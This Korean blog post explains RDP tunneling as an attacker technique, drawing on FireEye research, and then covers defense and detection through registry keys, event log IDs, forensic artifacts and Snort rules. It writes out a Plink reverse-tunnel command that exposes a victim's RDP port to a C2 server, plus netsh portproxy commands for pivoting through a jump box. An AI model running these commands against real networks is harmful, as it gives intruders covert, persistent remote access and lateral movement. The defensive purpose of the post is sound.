KOROMOON

착한 사마리아인이 되고 싶습니다.

2/01/2019

RDP 터널링


( 1 ) RDP 를 이용한 방화벽 우회 가능성

일반적으로 방화벽 및 NAT 규칙으로 보호되어 노출되지 않은 시스템은 인바운드 RDP 시도에 대해서는 취약하지 않는 것으로 간주됨.
그러나 네트워크 터널링 및 호스트 기반 포트 포워딩을 사용하여 이러한 엔터프라이즈 제어 기능을 점차적으로 파괴하기 시작함.

네트워크 터널링과 포트 포워딩은 방화벽에 의해 차단된 원격 서버와의 연결을 설정하기 위해서는 방화벽 "핀홀"을 이용함.
여기서 핀홀이란 특정 응용 프로그램이 방화벽으로 보호된 네트워크의 호스트에 있는 서비스에 액세스할 수 있도록 방화벽에서 보호되지 않는 포트를 말함.

일단 방화벽을 통해 방화벽 외부에 있는 원격 서버에 연결이 설정되면 로컬 수신 서비스를 보내거나 터널링 기법을 사용하여 접근할 수 있음. (아래 그림 참조 바람)


< 방화벽 우회 - SSH 를 이용한 RDP 및 네트워크 터널링 >



( 2 ) 인바운드 RDP 터널링

RDP 세션을 터널링하는 데 사용되는 일반적인 유틸리티는 PuTTY 제품군 하나인 Plink 임.
Plink 는 임의의 포트를 사용하여 다른 시스템에 대한 SSH 네트워크 연결을 설정하는 데 사용하는 툴임.
대부분의 IT 시스템 환경에서 프로토콜 검사를 수행하지 않거나 아웃바운드 SSH 통신을 차단하지 않기 때문에 Plink 를 사용하여 감연된 시스템의 RDP 포트가 C2 서버와 통신할 수 있도록 암호화된 터널을 만들 수 있음.


Plink 실행 명령어 예제
plink.exe <users>@<IP or domain> -pw <password> -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389


< Plink 를 사용한 성공적인 RDP 터널 >


< C2 서버에서 피해자에게 포트 포워딩 예제 >

참고로 침입자가 시스템에 RDP 를 수행할 수 있으려면 필요한 터널링 유틸리티를 만들거나 다른 침투 수단을 통해 시스템에 접근해야 함.
예를 들어 공격자가 초기 시스템 침투 시 피싱 전자 메일에서 페이로드가 제거된 후 권한 상승하여 자격 증명을 추출해야 함.
RDP 터널링은 일반적으로 공격자가 손상된 환경에서 백도어처럼 유지하기 위한 기법 중 하나님.



( 3 ) 점프 박스 피벗(Jump Box Pivoting)

RDP 는 외부에서 손상된 시스템에 접근할 수 있는 도구일 뿐만 아니라 RDP 세션을 이용한 데이지(Daisy) 체인 방식으로 다른 시스템으로 이동하여 연결할 수 있음.
netsh 명령을 사용하여 RDP 포트 전달을 관리 점프 박스를 통해서만 접근할 수 있는 새로운 세그먼트 네트워크에 접근하는 방법으로 활용함.


netsh 포트 포워딩 명령어 예제 :
netsh interface portproxy add v4tov4 listenport=8001 listenaddress=<JUMP BOX IP> connectport=3389 connectaddress=<DESTINATION IP>
축소한 netsh 포트 포워딩 명령어 예제 :
netsh I p a v l=8001 listena=<JUMP BOX IP> connectp=3389 c=<DESTINATION IP>

예를 들어 공격자는 이전에 손상된 시스템에서 전송되는 트래픽에 대해 임의의 포트에서 수신 대기하도록 점프 박스를 구성할 수 있음.
그런 다음 트래픽은 점프 박스를 통해 기본 RDP 포트 TCP 3389 를 포함한 지정된 포트를 사용하여 분할 네트워크에 있는 시스템으로 전달됨.
이러한 유형의 RDP 포트 전달은 점프 박스가 허용된 네트워크 경로를 활용할 수 있는 방법을 제공함.


< 분할 네트워크에 점프 박스를 사용하여 RDP 를 통한 측면 이동 >



( 4 ) RDP 터널링 방어과 탐지

이러한 유형의 RDP 공격에 대한 취약점을 방어하거나 탐지하려면 각각 호스트 기반과 네트워크 기반에 맞춰 방어 및 탐지 메커니즘에 중점을 두어야 함.

1. 호스트 기반 방어


원격 데스크톱 서비스 :
원격 데스크톱 서비스가 필요하지 않은 모든 사용자 및 시스템은 사용하지 않도록 설정함.
호스트 기반 방화벽 :
인바운드 RDP 연결을 명시적으로 거부하는 호스트 기반 방화벽 규칙을 사용함.
로컬 계정 :
"원격 데스크톱 서비스를 통한 로그온 거부" 보안 설정을 활성화하여 워크스테이션의 로컬 계정을 사용하여 RDP 를 사용하지 못하도록 함.

2. 호스트 기반 탐지


레지스트리 키
RDP 터널링에 악용될 수 있는 Plink 사용과 관련된 레지스트리 키를 검토함.
기본적으로 PuTTY Plink 는 세션 정보와 이전에 연결된 SSH 서버 정보를 다음 Windows 레지스트리 키에 저장됨.
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY
HKEY_CURRENT_USER\SoftWare\SimonTatham\PuTTY\SshHostKeys

마찬가지로 netsh 명령어를 사용하여 PortProxy 구성을 만들면 다음 Windows 레지스트리 키에 저장됨.
HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4

이러한 레지스트리 키를 수집하고 검토하면 합법적인 SSH 통신인지 예기지 않은 터널링 활동인지 식별할 수 있음.
이벤트 로그
일반적인 RDP 로그온 이벤트는 다음 Windows 이벤트 로그에 포함되어 있음.
%systemroot%\Windows\System32\winevt\Logs\Microsoft-TerminalServices-LocalSessionmanager
%3Operational.evtx%systemroot%\Windows\System32\winevt\Logs\Security.evtx

"TerminalServices-LocalSessionManager" 로그에는 성공적인 대화형 로컬를 의미하는 EID 21 와 적절한 사용자 로그아웃를 의미하는 EID 25 가 포함됨.
"Security" 로그에는 성공적인 유형 10 원격 대화형 로그온을 의미하는 EID 4624 가 포함됨.

참고로 로컬 호스트 IP 주소(127.0.0.1 ~ 127.255.255.255)로 기록된 출발지 IP 는 로컬 호스트의 RDP 포트 TCP 3389 로 라우팅되는 터널링된 로그온을 나타낼 수 있음.
"plink.exe" 파일 실행에 대한 실행 결과물
"plink.exe" 파일 실행에 대한 실행 결과물을 검토하십시오.
공격자는 탐지를 피하기 위해 파일 이름을 바꿀 수 있기에 관련 결과물은 다음을 포함하지만 이에 국한되지 않음.

- 응용 프로그램 호환성 캐시 / Shimcache
- Amcache
- 점프 목록(Jump Lists)
- 프리패치(Prefetch)
- 서비스 이벤트(Service Events)
- 최근에 사용한 WMI 저장소의 CCM
- 레지스트리 키

3. 네트워크 기반 방어


원격 연결 :
RDP 가 필요한 경우 지정된 점프 박스 또는 중앙 관리 서버에서 연결을 시작하도록 함.
도메인 계정 :
권한있는 계정( : 도메인 관리자) 및 서비스 계정에 대한 "원격 데스크톱 서비스를 통한 로그온 거부" 보안 설정을 사용함. 이러한 유형의 계정은 일반적으로 공격자가 민감한 시스템으로 접근 시도하는 데 사용됨.

4. 네트워크 기반 탐지


방화벽 규칙 :
기존 방화벽 규칙을 검토하여 포트 포워딩에 취약한 영역을 식별하십시오.
포트 포워딩이 사용할 수 있는 IT 시스템 환경 내의 워크스테이션 간의 내부 통신을 모니터링해야 함.
일반적으로 워크스테이션은 서로 직접 통신할 경우를 제외하고 내부 간의 통신에 대한 방화벽 규칙을 강화함.
네트워크 트래픽 :
네트워크 트래픽에 대한 컨텐츠 검사를 수행함.
잘 알려진 TCP 80 또는 443 등을 사용하여 원격 서버와 RDP 터널링을 설정할 수 있음.
따라서 조직은 네트워크 트래픽을 면밀히 모니터링해야 함.
Snort 규칙 :
아래 규칙은 잘 알려진 출발지 포트를 기준으로 네트워크 트래픽에서 RDP 터널링을 식별하는 데 도움이 되는 Snort 규칙임.

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; distance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled]"; flow:established; content:"|c0 00|Duca"; depth:250; content:"rdpdr"; content:"cliprdr"; sid:2; rev:1;)



참고 사이트 : 
https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
https://www.fireeye.com/blog/threat-research/2018/04/establishing-a-baseline-for-remote-desktop-protocol.html



============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기